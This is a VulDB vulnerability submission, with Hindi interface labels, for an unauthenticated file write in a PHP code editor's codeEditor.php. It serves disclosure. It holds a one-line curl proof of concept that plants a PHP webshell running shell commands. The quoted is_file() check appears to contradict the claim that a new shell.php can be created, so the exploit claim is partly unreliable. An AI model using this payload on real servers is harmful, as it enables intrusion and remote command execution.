| शीर्षक | JosephChuks php-file-manager-with-code-editor(CWP Code Editor v2.0.1) latest (main branch, codeEditor.php) Arbitrary File Write (CWE-22) / Code Injection (CWE-94) |
|---|
| विवरण | codeEditor.php (v2.0.1) allows unauthenticated arbitrary file write via the save handler, leading to remote code
execution.
Lines 9-15:
if (!isset($_GET["filename"]) || !is_file($_GET["filename"])) {
die("Invalid file specified.");
}
$filename = $_GET["filename"];
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$content = $_POST["content"];
file_put_contents($filename, $content);
}
No authentication is performed. The $_GET['filename'] parameter is passed directly to file_put_contents() without path
sanitization or extension validation. An attacker can POST to codeEditor.php?filename=shell.php with PHP code as
content, creating a webshell in the web root.
PoC: curl -X POST -d "content=<?php system(\$_GET[c]);?>" "http://target/codeEditor.php?filename=shell.php"
CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
|---|
| स्रोत | ⚠️ https://github.com/JosephChuks/php-file-manager-with-code-editor/blob/main/codeEditor.php#L9 |
|---|
| उपयोगकर्ता | milocat (UID 99840) |
|---|
| सबमिशन | 20/07/2026 05:08 AM (2 महीनों पहले) |
|---|
| संयम | 22/09/2026 08:29 AM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 408348 [JosephChuks php-file-manager-with-code-editor तक 3.0 Save codeEditor.php file_put_contents filename/content अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|